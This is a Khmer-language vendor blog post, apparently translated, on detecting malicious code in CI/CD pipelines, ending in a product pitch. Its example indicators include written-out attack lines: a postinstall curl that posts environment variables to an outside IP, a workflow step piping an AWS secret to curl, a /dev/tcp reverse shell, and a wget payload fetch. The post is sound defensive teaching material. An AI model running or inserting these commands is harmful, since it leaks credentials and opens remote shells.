ប្រសិនបើអ្នកធ្វើការនៅក្នុង CI/CD pipelineក្នុងការសរសេរស្គ្រីបស្វ័យប្រវត្តិកម្ម ឬការធានាសុវត្ថិភាពប្រព័ន្ធសាងសង់ទំនើបៗ ការរកឃើញកូដព្យាបាទមិនមែនជាជម្រើសទេ។ វាជាបេសកកម្មដ៏សំខាន់។ ការវាយប្រហារកូដព្យាបាទមិនត្រឹមតែកេងប្រវ័ញ្ចពេលវេលាដំណើរការរបស់អ្នកប៉ុណ្ណោះទេ ពួកវាធ្វើឱ្យជំហានសាងសង់ កញ្ចប់ភាគីទីបី និងការងារស្វ័យប្រវត្តិកម្មដែលអ្នកពឹងផ្អែកជារៀងរាល់ថ្ងៃក្លាយជាអាវុធ។
អត្ថបទនេះស្វែងយល់ពីឥរិយាបថណាខ្លះដែលអាចបង្ហាញពីការវាយប្រហារកូដព្យាបាទ និងរបៀបដែលកូដព្យាបាទអាចរីករាលដាល ជាពិសេសនៅក្នុង CI/CD បរិស្ថាន។ វាត្រូវបានរចនាឡើងសម្រាប់អ្នកអភិវឌ្ឍន៍ និងក្រុម DevSecOps ដែលទទួលខុសត្រូវចំពោះខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធី ស្វ័យប្រវត្តិកម្មក្នុងការបង្កើត និងដំណើរការការងារដាក់ពង្រាយដែលមានសុវត្ថិភាព។ តាមរយៈការយល់ដឹងអំពីសូចនាករ និងវ៉ិចទ័រវាយប្រហារទាំងនេះ ក្រុមនានាអាចរកឃើញការគំរាមកំហែង និងពង្រឹងសមត្ថភាពរបស់ពួកគេបានកាន់តែប្រសើរឡើង។ pipelineប្រឆាំងនឹងការសម្របសម្រួល។
អ្នកនឹងរៀន របៀបដែលអ្នកវាយប្រហារបង្កប់ការគំរាមកំហែងទៅក្នុងរបស់អ្នក pipelinesរោគសញ្ញាអ្វីខ្លះដែលត្រូវប្រុងប្រយ័ត្ន និងរបៀបដែលកូដព្យាបាទអាចរីករាលដាលដោយស្ងៀមស្ងាត់តាមរយៈកិច្ចការធម្មតាដូចជាការដំឡើងការពឹងផ្អែក និងស្វ័យប្រវត្តិកម្មលំហូរការងារ។ ចូរយើងបំបែកសញ្ញា ចាប់ពីចរាចរណ៍ចេញដែលមិននឹកស្មានដល់រហូតដល់ PR ក្លែងក្លាយដែលរំខានដល់ការងារ CI ដូច្នេះអ្នកអាចរកឃើញ និងបន្សាបការគំរាមកំហែងមុនពេលពួកវាឈានដល់ផលិតកម្ម។
តើការវាយប្រហារដោយកូដព្យាបាទជាអ្វី?
ការវាយប្រហារកូដព្យាបាទ គឺនៅពេលដែលកូដដែលបង្កគ្រោះថ្នាក់ត្រូវបានប្រតិបត្តិនៅក្នុងកម្មវិធីរបស់អ្នក ដែលបង្កើត pipelineឬបរិស្ថានពេលដំណើរការ។ យើងកំពុងនិយាយអំពីតក្កវិជ្ជាដែលសរសេរជាពិសេសទៅកាន់៖
- លួចយកអាថ៌កំបាំងដូចជាសោ API និងព័ត៌មានសម្ងាត់
- រំខានជាមួយ builds ឬរុញ artifacts ដែលឆ្លងមេរោគ
- សែលបើកចំហ ឬទិន្នន័យចម្រោះ
កូដព្យាបាទមិនមែនគ្រាន់តែជាកំហុសឆ្គងនោះទេ។ វាបង្កឡើងដោយចេតនា។ ហើយវាជារឿយៗរស់នៅក្នុងឧបករណ៍ធម្មតារបស់អ្នក៖ ការពឹងផ្អែក ការងារ CI និងស្គ្រីបដំឡើង។
ហេតុអ្វីបានជាអ្នកអភិវឌ្ឍន៍គួរយកចិត្តទុកដាក់? ពីព្រោះការគំរាមកំហែងមិនតែងតែមកពីអ្នកវាយប្រហារខាងក្រៅដែលវាយប្រហារ APIs របស់អ្នកនោះទេ។ កូដព្យាបាទបង្កប់ខ្លួនវានៅក្នុងលំហូរការងារដែលអ្នកដំណើរការជារៀងរាល់ថ្ងៃ ដូចជាការដំឡើង npm ឬការបង្កើត Docker។ នេះជារបៀបដែលកូដព្យាបាទអាចរីករាលដាលនៅក្នុងការរៀបចំពិភពពិត។
តើចំណុចណាខាងក្រោមដែលអាចបង្ហាញពីការវាយប្រហារដោយកូដព្យាបាទ? សញ្ញាជាក់ស្តែងសម្រាប់អ្នកអភិវឌ្ឍន៍
ប្រសិនបើអ្នកកំពុងឆ្ងល់ថាមួយណាខាងក្រោមដែលអាចបង្ហាញពីការវាយប្រហារកូដព្យាបាទ ចម្លើយចាប់ផ្តើមដោយឥរិយាបថដែលអាចសង្កេតឃើញ៖
| សូចនាករ (រោគសញ្ញា) | ឧទាហរណ៍ | ដើមហេតុ | វាយបញ្ចូល |
|---|---|---|---|
| ចរាចរណ៍ចេញដែលមិននឹកស្មានដល់ពីការសាងសង់ | curl -X POST http://198.51.100.42 -d "$(env)" នៅក្នុងស្គ្រីបក្រោយការដំឡើង | កញ្ចប់ npm ព្យាបាទ | សូចនាករពិត |
| ឯកសារដែលបានកែប្រែ ឬបិទបាំងនៅក្នុងឃ្លាំងប្រភព | Base64 ដែលបានបិទបាំងក្នុង .github/workflows/build.yml | ការសម្របសម្រួលខ្សែសង្វាក់ផ្គត់ផ្គង់ | សូចនាករពិត |
| អាថ៌កំបាំងដែលចូលមើលដោយការងារដែលមិននឹកស្មានដល់ | ការងារ CI ដែលមិនត្រូវបានអនុម័តដោយប្រើប្រាស់ ${{ secrets.AWS_SECRET_KEY }} | ការកំណត់រចនាសម្ព័ន្ធ IAM មិនត្រឹមត្រូវ ឬការចាក់បញ្ចូល | សូចនាករពិត |
| បញ្ច្រាសដំណើរការសែល ឬ wget នៅក្នុងការសាងសង់ | bash -i >& /dev/tcp/... shellcode នៅក្នុងជំហាន CI | មានការក្លែងបន្លំ pipeline ស្គ្រីប | សូចនាករពិត |
| កញ្ចប់ Typosquatted ជាមួយស្គ្រីបដំឡើង | lodashs or react-core-js ដំណើរការលេខកូដដែលមិននឹកស្មានដល់ | ភាពច្របូកច្របល់នៃភាពអាស្រ័យ | សូចនាករពិត |
| បានដោះសោ CI/CD សិទ្ធិ | ការងារទាំងអស់អាចចូលមើលអាថ៌កំបាំងទាំងអស់ | ការកំណត់រចនាសម្ព័ន្ធលំនាំដើមខ្សោយ | ការអនុវត្តមិនល្អ (មិនមែនជាសញ្ញា) |
| កង្វះការត្រួតពិនិត្យភាពត្រឹមត្រូវនៃឯកសារ | គ្មានការជូនដំណឹងនៅពេលការកំណត់រចនាសម្ព័ន្ធផ្លាស់ប្តូរទេ | គ្មានការត្រួតពិនិត្យ | ការអនុវត្តមិនល្អ (មិនមែនជាសញ្ញា) |
ចរាចរណ៍បណ្តាញចេញដែលមិននឹកស្មានដល់ពី Build Pipelines
រោគសញ្ញា: ការងារ CI របស់អ្នកស្រាប់តែទាក់ទងទៅកាន់ IP ឬដែនខាងក្រៅដែលមិនស្គាល់។
ឧទាហរណ៍ ៖ ស្គ្រីបក្រោយការដំឡើងដែលរងការសម្របសម្រួលប្រើ curl ដើម្បីផ្ញើអថេរបរិស្ថានទៅ 198.51.100.42។
{
"scripts": {
"postinstall": "curl -X POST http://198.51.100.42 -d \"$(env)\""
}
}
ដើមហេតុ: ការពឹងផ្អែក npm ព្យាបាទត្រូវបានបន្ថែមទៅ package.json ឬស្គ្រីប CI ដែលបានកែប្រែ។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖
រារាំងចរាចរណ៍ចេញតាមលំនាំដើមនៅក្នុង CI runners របស់អ្នក (ឧទាហរណ៍ ប្រើច្បាប់ជញ្ជាំងភ្លើង ឬគោលការណ៍ចេញដែលបដិសេធតាមលំនាំដើម)
បន្ថែមគោលការណ៍បណ្តាញដើម្បីអនុញ្ញាតឱ្យចូលប្រើដែនជាក់លាក់តែប៉ុណ្ណោះ៖
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Allowlist specific domains
run: iptables -A OUTPUT -p tcp -d github.com -j ACCEPT
ឯកសារដែលបានកែប្រែ ឬមិនបានរំពឹងទុកនៅក្នុង Source Repos
រោគសញ្ញា: ឯកសារ ឬស្គ្រីបថ្មីៗបង្ហាញនៅក្នុងការគ្រប់គ្រងប្រភពដោយគ្មានការពន្យល់ច្បាស់លាស់។
ឧទាហរណ៍ ៖ បន្ទុកទិន្នន័យ Base64 ដែលមានភាពច្របូកច្របល់ត្រូវបានទម្លាក់ចូលទៅក្នុង package-lock.json ឬ .github/workflows/build.yml
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Unauthorized secret access
run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
ដើមហេតុ: ការសម្របសម្រួលខ្សែសង្វាក់ផ្គត់ផ្គង់តាមរយៈ PR ដែលមានគំនិតអាក្រក់ ឬការពឹងផ្អែកដែលត្រូវបានក្លែងបន្លំ។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖
ប្រើការត្រួតពិនិត្យភាពត្រឹមត្រូវនៃឯកសារដោយស្វ័យប្រវត្តិ (ឧ. Tripwire ឬ Git) hooks ជាមួយនឹងការត្រួតពិនិត្យ checksum)
អនុវត្តការពិនិត្យឡើងវិញដោយដៃលើលំហូរការងារ និងចាក់សោការផ្លាស់ប្តូរឯកសារដោយប្រើ GitHub CODEOWNERS៖
.github/workflows/* @security-team
package-lock.json @devops-lead
ផ្ទៀងផ្ទាត់ checksum នៃការពឹងផ្អែកដែលបានធ្វើបច្ចុប្បន្នភាព
គំរូប្រើប្រាស់ព័ត៌មានសម្គាល់មិនធម្មតា
រោគសញ្ញា: អាថ៌កំបាំងកំពុងត្រូវបានចូលប្រើដោយអ្នកប្រើប្រាស់ សេវាកម្ម ឬដំណាក់កាលដែលមិននឹកស្មានដល់នៅក្នុងរបស់អ្នក pipeline.
ឧទាហរណ៍ ៖ កំណត់ហេតុកម្មវិធីគ្រប់គ្រងសម្ងាត់បង្ហាញការចូលប្រើប្រាស់ពីការងារដែលមិនគួរមានសិទ្ធិចូលប្រើប្រាស់។
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Unauthorized secret access
run: echo ${{ secrets.AWS_SECRET_KEY }} | curl -X POST http://198.51.100.99
ដើមហេតុ: គោលការណ៍ IAM ដែលត្រូវបានកំណត់រចនាសម្ព័ន្ធមិនត្រឹមត្រូវ ព័ត៌មានសម្ងាត់ដែលលេចធ្លាយ ឬការចាក់ការងារ CI។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖អនុវត្តសិទ្ធិចូលប្រើតិចបំផុតនៅក្នុងគោលការណ៍ចូលប្រើ (ឧទាហរណ៍ ការងារមួយ = សម្ងាត់មួយ)
តាមដានកំណត់ហេតុចូលប្រើព័ត៌មានសម្ងាត់ និងរៀបចំការជូនដំណឹងសម្រាប់ការប្រើប្រាស់មិនប្រក្រតី
ប្រើប្រាស់ច្បាប់ការពារបរិស្ថាន GitHub និងអាថ៌កំបាំងដែលមានវិសាលភាព៖
environments:
production:
protection_rules:
required_reviewers:
- security-team
- ផ្ទៀងផ្ទាត់ឥរិយាបថការងារដែលរំពឹងទុកដោយប្រើការត្រួតពិនិត្យគោលការណ៍ដោយស្វ័យប្រវត្តិ (ឧ. OPA/Gatekeeper)
ការអនុវត្តដំណើរការមិនប្រក្រតីនៅក្នុង CI/CD ឬពេលដំណើរការ
រោគសញ្ញា: កម្មវិធីដែលបង្កើត ឬដាក់ពង្រាយចាប់ផ្តើមដំណើរការដែលមិនបានរំពឹងទុក។
ឧទាហរណ៍ ៖ bash -c \"wget http://malicious.site/payload.sh\" លេចឡើងកំឡុងពេលសាងសង់។
steps:
- name: Suspicious shell execution
run: bash -i >& /dev/tcp/malicious.site/4444 0>&1
ដើមហេតុ: ស្គ្រីបដែលបានចាក់ចូល សែលបញ្ច្រាស ឬត្រូវបានកែប្រែ pipeline ជំហាន។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖ប្រើបញ្ជីអនុញ្ញាតសម្រាប់ពាក្យបញ្ជា (ឧ. កំណត់ចំពោះឧបករណ៍បង្កើតដែលត្រូវបានអនុម័តតែប៉ុណ្ណោះ)
ចាក់សោសមត្ថភាពដំណើរការនៅក្នុង CI ដោយដំណើរការការងារនៅក្នុងកុងតឺន័រអប្បបរមា៖
jobs:
build:
container:
image: secure-ci-image:latest
options: --cap-drop=ALL --no-new-privileges
- ស្កេនរកការប្រើប្រាស់សែល និងគំរូមិនល្អដែលគេស្គាល់ដោយប្រើ linters ដែលរួមបញ្ចូល CI និង SAST
ការពឹងផ្អែកដែលសម្របសម្រួលកំពុងប្រតិបត្តិកូដព្យាបាទ
រោគសញ្ញា: ដំឡើងស្គ្រីប ឬអាប់ដេត ដំណើរការកូដដែលគ្មានការអនុញ្ញាតដោយគ្មានចេតនារបស់អ្នក។
ឧទាហរណ៍ ៖ កញ្ចប់ដែលមានកំហុសវាយអក្សរដូចជា lodashs or react-core-js ដំណើរការទំពក់ដំឡើងជាមុនដែលមានគំនិតអាក្រក់។
ដើមហេតុ: ការភាន់ច្រឡំនៃការពឹងផ្អែក ឬការប្រើប្រាស់បញ្ជីឈ្មោះដែលមិនគួរឱ្យទុកចិត្ត។
ប្រភេទ: សូចនាករពិត
វិធីទប់ស្កាត់៖
ចាក់សោភាពអាស្រ័យជាមួយ SBOM ការផ្ទៀងផ្ទាត់ និងការភ្ជាប់ហាស៖
npm ci --prefer-offline --no-audit --ignore-scripts
ការប្រើ
.npmrcor.yarnrc.ymlដើម្បីដាក់បញ្ជីឈ្មោះដែលត្រូវបានអនុម័តក្នុងបញ្ជីស៖
registry=https://registry.npmjs.org/
always-auth=true
ត្រួតពិនិត្យកញ្ចប់ជាបន្តបន្ទាប់ដោយប្រើ SCA ឧបករណ៍ដូចជា Xygeni, OSV-Scanner ឬ Dependabot
ស្វែងយល់ពីការការពារមេរោគប្រភពបើកចំហដ៏ល្អបំផុត
ការពារកម្មវិធីប្រភពបើកចំហរបស់អ្នកពីការគំរាមកំហែងដែលកំពុងលេចចេញ!
តើកូដព្យាបាទអាចរីករាលដាលនៅក្នុងលំហូរការងាររបស់អ្នកអភិវឌ្ឍន៍យ៉ាងដូចម្តេច?
ការយល់ដឹងពីរបៀបដែលកូដព្យាបាទអាចរីករាលដាលជួយអ្នកកាត់វាចេញមុនពេលវាឈានដល់ការផលិត៖
- កញ្ចប់ប្រភពបើកចំហដែលរងការគំរាមកំហែង (ឧទាហរណ៍ ម៉ូឌុល npm/PyPI ដែលឆ្លងមេរោគ)
- ព្យាបាទ pull requests ជាមួយនឹងបន្ទុកដែលលាក់នៅក្នុងលំហូរការងារ
- CI/CD ការកំណត់រចនាសម្ព័ន្ធមិនត្រឹមត្រូវ (ឧទាហរណ៍ PR ដែលមិនបានផ្ទៀងផ្ទាត់កំពុងអនុវត្តការងារ)
- ការគំរាមកំហែងពីខាងក្នុងកំពុងបង្កប់នូវទ្វារក្រោយក្នុងអំឡុងពេលនៃការអភិវឌ្ឍធម្មតា
ទាំងនេះគឺជាវ៉ិចទ័រទាំងអស់ដែលបង្ហាញពីរបៀបដែលកូដព្យាបាទអាចរីករាលដាលដោយមិនបង្កឱ្យមានការជូនដំណឹងបែបប្រពៃណី។
របៀបរកឃើញ និងការពារកូដព្យាបាទនៅក្នុង Pipelines និងមូលដ្ឋានកូដ
បញ្ជីត្រួតពិនិត្យការរកឃើញរហ័សសម្រាប់សូចនាករកូដព្យាបាទ
| ឥរិយាបថ | ឧបករណ៍ចាប់សញ្ញា | CI/CD Tip |
|---|---|---|
| សំណើបណ្ដាញដែលមិនបានរំពឹងទុក | ការត្រួតពិនិត្យអាកប្បកិរិយា កំណត់ហេតុចាកចេញ | បដិសេធ IP ក្នុងបញ្ជី, សវនកម្មការប្រើប្រាស់ curl/wget |
| ការក្លែងបន្លំឯកសារ YAML ឬចាក់សោ | ការតាមដានភាពសុចរិតនៃឯកសារ, ភាពខុសគ្នារបស់ Git | អនុវត្ត CODEOWNERS ជូនដំណឹងអំពីការផ្លាស់ប្តូរឯកសារសំខាន់ៗ |
| ការចូលប្រើសម្ងាត់មិនធម្មតា | កំណត់ហេតុចូលប្រើសម្ងាត់ ការជូនដំណឹង IAM | ប្រើអាថ៌កំបាំងដែលមានវិសាលភាព អនុវត្តសិទ្ធិតិចតួចបំផុត |
| ការប្រតិបត្តិសែល ឬបញ្ច្រាសសែល | SASTការស្កេនបញ្ជីអនុញ្ញាត | ដាក់កម្រិតការប្រើប្រាស់សែលនៅក្នុងស្គ្រីបសាងសង់ |
| ការពឹងផ្អែកគួរឱ្យសង្ស័យ | SCA, SBOM validation | ប្រើហាសដែលបានចាក់សោ និងបញ្ជីឈ្មោះដែលទុកចិត្ត |
កុំរង់ចាំការជូនដំណឹងអំពីផលិតកម្ម។ នេះជារបៀបដែលអ្នកអភិវឌ្ឍន៍ និងក្រុម DevSecOps អាចរកឃើញការវាយប្រហារកូដព្យាបាទបានយ៉ាងសកម្ម៖
- ការត្រួតពិនិត្យឥរិយាបថ៖ ចាប់យកការប្រតិបត្តិដំណើរការមិនប្រក្រតី ការហៅទូរសព្ទតាមបណ្តាញ ឬដាក់ឯកសារការផ្លាស់ប្ដូរ CI/CD.
- ការគ្រប់គ្រងការពឹងផ្អែក៖ ការប្រើ SBOMs និងបញ្ជីអនុញ្ញាតយ៉ាងតឹងរ៉ឹង ដើម្បីរារាំងបណ្ណាល័យដែលមិនបានផ្ទៀងផ្ទាត់។
- ការតាមដានសុចរិតភាពឯកសារ៖ រកឃើញស្គ្រីប ឬការផ្លាស់ប្តូរឯកសារកំណត់រចនាសម្ព័ន្ធដែលគ្មានការអនុញ្ញាត។
- ការរឹតត្បិតការចេញចូល៖ ទប់ស្កាត់ការលួចចូលទិន្នន័យក្នុងពេលសាងសង់ដោយវិភាគ និងទប់ស្កាត់ចរាចរណ៍ចេញ។
- ការវិភាគឋិតិវន្ត និងថាមវន្ត៖ ត្រួតពិនិត្យដោយស្វ័យប្រវត្តិនូវតក្កវិជ្ជាគួរឱ្យសង្ស័យ ការហៅសែល ឬការអ៊ិនកូដនៅក្នុងរបស់អ្នក pipelines.
កាន់តែពិសេស៖
- ការធ្វើតេស្តសុវត្ថិភាពកម្មវិធីឋិតិវន្ត (SAST): អាចរកឃើញតក្កវិជ្ជាព្យាបាទ ឬកូដដែលលាក់បាំង (ឧទាហរណ៍ base64 ដែលលាក់ ការហៅសែលគួរឱ្យសង្ស័យ) មុនពេលវាត្រូវបានប្រតិបត្តិ។ ការរួមបញ្ចូល SAST ឧបករណ៍ចូលទៅក្នុងរបស់អ្នក CI/CD លំហូរការងារជួយសម្គាល់គំរូដែលមានហានិភ័យខ្ពស់នៅក្នុង pull requests និង commits.
- ការវិភាគសមាសភាពកម្មវិធី (SCA): កំណត់អត្តសញ្ញាណកញ្ចប់ងាយរងគ្រោះ ឬកញ្ចប់ព្យាបាទដែលគេស្គាល់ក្នុងអំឡុងពេលដំណើរការដោះស្រាយភាពអាស្រ័យ។ SCA ឧបករណ៍ជួយអ្នកទប់ស្កាត់កញ្ចប់ដែលមានកំហុសវាយអក្សរ ឬមានទ្វារក្រោយៗទៀតនៅពេលដំឡើង មុនពេលពួកវាចូលទៅក្នុងបរិស្ថានរបស់អ្នក។
ទាំងអស់នេះជួយឆ្លើយសំណួរ៖ មួយណាខាងក្រោមនេះដែលអាចបង្ហាញពីការវាយប្រហារកូដព្យាបាទ ហើយមួយណាគ្រាន់តែជាសំឡេងចម្លែក។
អ្នកអភិវឌ្ឍន៍គួររៀនពីឧប្បត្តិហេតុក្នុងពិភពពិត
អ្នកមិនត្រូវការសម្មតិកម្មទេ; ការវាយប្រហារកូដព្យាបាទទាំងនេះបានកើតឡើងរួចហើយ ហើយការវាយប្រហារនីមួយៗផ្តល់នូវមេរៀនសំខាន់ៗ៖
- ម៉ៃក្រូសូហ្វ, អេបផល៖ រងផលប៉ះពាល់ដោយការភាន់ច្រឡំអំពីការពឹងផ្អែក ត្រូវបានបោកបញ្ឆោតឱ្យទាញយកកញ្ចប់ផ្ទៃក្នុងពីការចុះឈ្មោះសាធារណៈ។
យកទៅឆ្ងាយ: ប្រើប្រាស់បញ្ជីឈ្មោះឯកជន និងកំណត់រចនាសម្ព័ន្ធដំណោះស្រាយកញ្ចប់ដែលមានវិសាលភាព ដើម្បីការពារការភាន់ច្រឡំនៃការពឹងផ្អែក។ - ua-parser-js៖ កញ្ចប់ npm ដ៏ពេញនិយមត្រូវបានលួចចូលដើម្បីដាក់ពង្រាយអ្នករុករករ៉ែគ្រីបតូ។
យកទៅឆ្ងាយ: ការប្រើ SBOM ការផ្ទៀងផ្ទាត់ និងការភ្ជាប់ CI ដើម្បីជៀសវាងការអាប់ដេតកញ្ចប់ដែលមិនបានផ្ទៀងផ្ទាត់។ - ការវាយអក្សរលើ PyPI៖ កញ្ចប់ព្យាបាទដែលមានឈ្មោះដូចកញ្ចប់ពិត (ឧ. urlib3) ដើម្បីផ្សព្វផ្សាយព័ត៌មានលួចចម្លង។
យកទៅឆ្ងាយ: បញ្ចូល SCA ឧបករណ៍ដើម្បីរកឃើញកញ្ចប់ដែលមានឈ្មោះស្រដៀងគ្នា និងផ្ទៀងផ្ទាត់ភាពអាស្រ័យមុនពេលដំឡើង។ - ទំនាក់ទំនងសាធារណៈ GitHub៖ អ្នកវាយប្រហារបានដាក់ស្នើ PR ដែលបានកែប្រែដំណើរការការងារ CI ដោយស្ងាត់ៗទៅ leak secrets.
យកទៅឆ្ងាយ: អនុវត្តការពិនិត្យឡើងវិញ PR យ៉ាងតឹងរ៉ឹងសម្រាប់ឯកសារលំហូរការងារ និងប្រើប្រាស់ម្ចាស់កូដសម្រាប់ការផ្លាស់ប្តូរការកំណត់រចនាសម្ព័ន្ធ CI។
ករណីនីមួយៗបង្ហាញពីរបៀបដែលកូដព្យាបាទអាចរីករាលដាលនៅក្នុងបរិយាកាសអភិវឌ្ឍន៍មុនពេលឈានដល់ផលិតកម្ម ហើយគូសបញ្ជាក់ពីការអនុវត្តដែលអាចអនុវត្តបានដើម្បីបញ្ឈប់ពួកវាតាំងពីដំបូង។
សេចក្តីសន្និដ្ឋាន៖ អ្នកអភិវឌ្ឍន៍គ្រប់គ្រងជួរមុខប្រឆាំងនឹងកូដព្យាបាទ
ការវាយប្រហារកូដដែលមានគំនិតអាក្រក់មិនតែងតែមានន័យថាជាការរំលោភពីខាងក្រៅនោះទេ។ ពេលខ្លះ អ្នកវាយប្រហារកំពុងលាក់ខ្លួននៅក្នុង... nម៉ូឌុល_ode, របស់អ្នក កញ្ចប់-lock.json, ឬរបស់អ្នក ឯកសារ .github/workflows។
ក្នុងចំណោមខាងក្រោមមួយណាដែលអាចបង្ហាញពីការវាយប្រហារដោយកូដព្យាបាទ? ចម្លើយស្ថិតនៅលើសញ្ញាប្រចាំថ្ងៃដែលកូដ និងឧបករណ៍របស់អ្នកបញ្ចេញ។
ធ្វើជាម្ចាស់របស់អ្នក។ CI/CD។ ប្រយ័ត្នចំពោះការពឹងផ្អែករបស់អ្នក។ សម្គាល់ឥរិយាបថចម្លែកៗ។ កាលណាអ្នករកឃើញកាន់តែឆាប់ វាកាន់តែរាលដាលតិច
របៀបដែល Xygeni ជួយរកឃើញ និងរារាំងការវាយប្រហារកូដព្យាបាទនៅទូទាំង DevOps
នៅពេលដែលមេរោគរីករាលដាលតាមរយៈខ្សែសង្វាក់ផ្គត់ផ្គង់កម្មវិធីរបស់អ្នក ជារឿយៗវាយឺតពេលហើយនៅពេលដែលវាឈានដល់ការផលិត។ នោះហើយជាមូលហេតុដែលការរកឃើញដោយស្វ័យប្រវត្តិតាំងពីដំបូងគឺមានសារៈសំខាន់។ របស់ Xygeni ប្រព័ន្ធព្រមានជាមុន ត្រូវបានរចនាឡើងដើម្បីចាប់កញ្ចប់ព្យាបាទមុនពេលពួកវាអាចឆ្លងទៅមូលដ្ឋានកូដរបស់អ្នក CI/CD pipelines ឬបរិស្ថានពពក។
នេះជារបៀប ស៊ីហ្គេនី ពង្រឹងការការពាររបស់អ្នក៖
ការព្រមានជាមុនតាមពេលវេលាជាក់ស្តែងប្រឆាំងនឹងមេរោគ Zero-Day
មិនដូចម៉ាស៊ីនស្កេនបែបប្រពៃណីដែលពឹងផ្អែកទាំងស្រុងលើ CVE នោះទេ Xygeni តាមដានជាបន្តបន្ទាប់នូវការចុះឈ្មោះសាធារណៈដូចជា npm, PyPI, Maven និង NuGet សម្រាប់ឥរិយាបថគួរឱ្យសង្ស័យ និងភាពមិនប្រក្រតីនៃទិន្នន័យមេតា។ ដរាបណាកញ្ចប់មួយបង្ហាញសញ្ញានៃសកម្មភាពព្យាបាទ វាត្រូវបានសម្គាល់ ត្រូវបានដាក់ឱ្យនៅដាច់ដោយឡែក និងរារាំងមិនឱ្យចូលទៅក្នុង... SDLC.
- រកឃើញមេរោគនៅពេលបោះពុម្ពផ្សាយ
- រារាំងដោយស្វ័យប្រវត្តិនូវបន្ទុកទិន្នន័យសូន្យថ្ងៃ និងការដំឡើងគួរឱ្យសង្ស័យ hooks
- ផ្ញើការជូនដំណឹងតាមពេលវេលាជាក់ស្តែងទៅកាន់ក្រុម DevOps សម្រាប់ការជ្រើសរើសរហ័ស
ការការពារមេរោគត្រូវបានបង្កប់នៅក្នុងដំណាក់កាល DevOps នីមួយៗ
មិនថាវាជាកូដដែលបិទបាំងនៅក្នុងស្គ្រីបក្រោយការដំឡើង កម្មវិធីលួចយកគ្រីបតូដែលលាក់នៅក្នុងភាពអាស្រ័យអន្តរកាល ឬរូបភាពកុងតឺន័រដែលមានមេរោគ Trojan នោះទេ Xygeni អនុវត្តការរកឃើញមេរោគច្រើនស្រទាប់នៅទូទាំងកូដ ភាពអាស្រ័យ។ CI/CDនិង IaC:
- ការវិភាគឋិតិវន្តដែលសម្គាល់ backdoor, trojans និង payloads ដែលលាក់កំបាំងមុនពេលដាក់ពង្រាយ
- ជញ្ជាំងភ្លើង Dependency ដែលរារាំងកញ្ចប់ Trojanized ជាមួយស្គ្រីបដំឡើងព្យាបាទ
- CI/CD ការការពារដែលការពារការបាញ់បញ្ច្រាស និងការចាក់បញ្ចូលតាមបញ្ជានៅក្នុងរបស់អ្នក pipelines.
Guardrails និងការដាក់ឱ្យនៅដាច់ដោយឡែកដើម្បីបញ្ឈប់ការរីករាលដាល
Xygeni មិនត្រឹមតែរកឃើញមេរោគប៉ុណ្ណោះទេ ថែមទាំងបញ្ឈប់វាទៀតផង។ នៅពេលដែលកញ្ចប់ដែលរងការសម្របសម្រួលត្រូវបានរកឃើញ៖
- វាត្រូវបានដាក់ឱ្យនៅដាច់ដោយឡែកភ្លាមៗ ដើម្បីជៀសវាងការចម្លងរោគក្នុងពេលសាងសង់
- ដែន pipelines អាចបំបែកការសាងសង់ដោយស្វ័យប្រវត្តិដោយប្រើគោលការណ៍សុវត្ថិភាពដែលអាចកំណត់រចនាសម្ព័ន្ធបានរបស់ Xygeni
- កំណែដែលរងផលប៉ះពាល់ត្រូវបានដាក់ក្នុងបញ្ជីខ្មៅ សូម្បីតែពីការចុះឈ្មោះផ្ទៃក្នុង ឬឯកជនក៏ដោយ។
ស៊ើបអង្កេត និងទទួលបានព័ត៌មានថ្មីៗ
Xygeni ផ្តល់នូវផ្លូវសវនកម្មពេញលេញ និងការរកមើលប្រវត្តិនៃកញ្ចប់ព្យាបាទ។ អ្នកនឹងដឹង៖
- នៅពេលដែលការគំរាមកំហែងត្រូវបានផ្សព្វផ្សាយ
- របៀបដែលវាត្រូវបានរកឃើញ
- ថាតើវាបានទៅដល់ផ្នែកណាមួយនៃប្រព័ន្ធរបស់អ្នកដែរឬទេ
លើសពីនេះ ការគំរាមកំហែងដែលបានបញ្ជាក់ត្រូវបានបង្ហាញជាសាធារណៈ ដើម្បីការពារសហគមន៍ប្រភពបើកចំហរកាន់តែទូលំទូលាយ និងការពារមេរោគពីការលេចចេញជាថ្មីនៅក្នុងកញ្ចប់ដែលបានប្តូរឈ្មោះ ឬបំបែក។
កុំឲ្យមេរោគលួចចូលក្នុងចន្លោះប្រហោងឲ្យសោះ
ពីអ្នកជីកយករ៉ែគ្រីបតូដែលលួចលាក់ រហូតដល់អ្នកលួចព័ត៌មានដែលវាយអក្សរខុស ការវាយប្រហារកូដព្យាបាទកំពុងវិវឌ្ឍយ៉ាងឆាប់រហ័សប្រព័ន្ធព្រមានមុនរបស់ Xygeni ធានាថាមេរោគមិនដែលហួសពីដំណាក់កាលអភិវឌ្ឍន៍ សាងសង់ ឬដាក់ពង្រាយរបស់អ្នកឡើយ ហើយក្រុមរបស់អ្នកត្រូវបានជូនដំណឹង និងការពារក្នុងពេលវេលាជាក់ស្តែង។
ចាប់ផ្តើមការសាកល្បងឥតគិតថ្លៃរបស់អ្នកឥឡូវនេះ ហើយការពារ DevOps របស់អ្នក pipeline មុនពេលការវាយប្រហារបន្ទាប់មកដល់!







